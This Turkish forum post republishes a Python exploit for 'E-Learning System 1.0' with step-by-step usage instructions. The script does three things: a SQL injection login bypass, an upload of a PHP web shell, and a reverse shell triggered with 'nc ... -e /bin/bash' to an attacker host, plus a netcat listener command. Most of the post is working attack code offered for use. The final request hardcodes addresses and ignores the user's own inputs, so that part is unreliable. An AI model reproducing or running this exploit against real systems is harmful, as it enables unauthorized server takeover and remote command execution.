Yeni E-Öğrenim Sistemi 1.0 - Kimlik Doğrulama Atlama ve RCE POC (1 Viewer)

MuZo? · Ocak 16, 2021

# Adım 1: exploit'i python'da şu komutla çalıştırın: python3 exploit.py
# Adım 2: Güvenlik açığı bulunan uygulamanın URL'sini girin: Örnek: http://10.10.10.23/caiwl/
# Adım 3: Ters kabuğun olmasını istediğiniz yere LHOST'unuzu girin: Örnek: 10.9.192.23
# Adım 4: Ters kabuğun ortaya çıkacağı bağlantı noktası olan LPORT'unuzu girin: Örnek: 4444
# Adım 5: Şu komutu kullanarak Adım 4'te belirtilen bağlantı noktasında bir Netcat Dinleyici başlatın: nc -lnvp 4444
# Adım 6: Netcat Dinleyiciniz hazırsa enter tuşuna basın ve enter tuşuna basar basmaz bir ters kabuk alacaksınız

Kod:

import requests

print('########################################################')
print('##                 E-LEARNING SYSTEM 1.0              ##')
print('##   AUTHENTICATION BYPASS & REMOTE CODE EXECUTION    ##')
print('########################################################')

print('Author - Himanshu Shukla & Saurav Shukla')

GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
#Create a new session
s = requests.Session()
 
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")

#Authentication Bypass
print("[*]Attempting Authentication Bypass...")
values = {"user_email":"'or 1 or'", "user_pass":"lol","btnLogin":""}
r=s.post(LINK+'admin/login.php', data=values, cookies=cookies)

r=s.post(LINK+'admin/login.php', data=values, cookies=cookies)

#Check if Authentication was bypassed or not.
logged_in = True if("You login as Administrator." in r.text) else False
l=logged_in
if l:
    print(GREEN+"[+]Authentication Bypass Successful!", RESET)
else:
    print(RED+"[-]Failed To Authenticate!", RESET)


#Creating a PHP Web Shell

phpshell  = {
               'file':
                  (
                   'shell.php',
                   '<?php echo shell_exec($_REQUEST["cmd"]); ?>',
                   'application/x-php',
                  {'Content-Disposition': 'form-data'}
                  )
             }

# Defining value for form data
data = {'LessonChapter':'test', 'LessonTitle':'test','Category':'Docs','save':''}



#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'/admin/modules/lesson/controller.php?action=add', cookies=cookies, files=phpshell, data=data, verify=False)

shell_upload = True if("window.location='index.php'" in upload.text) else False
u=shell_upload
if u:
    print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
    print(RED+"[-]Failed To Upload The PHP Shell!", RESET)

print("[*]Please Input Reverse Shell Details")
LHOST=input("[*]LHOST : ")
LPORT=input("[*]LPORT : ")

print('[*]Start Your Netcat Listener With This Command : nc -lvnp '+LPORT)
input('[*]Hit Enter if your netcat shell is ready. ')
print('[+]Deploying The Web Shell...')


#Executing The Webshell
e=s.get('http://192.168.1.5/caiwl/admin/modules/lesson/files/shell.php?cmd=nc 192.168.1.2 9999 -e /bin/bash', cookies=cookies)

exit()

Py Download :

Hidden content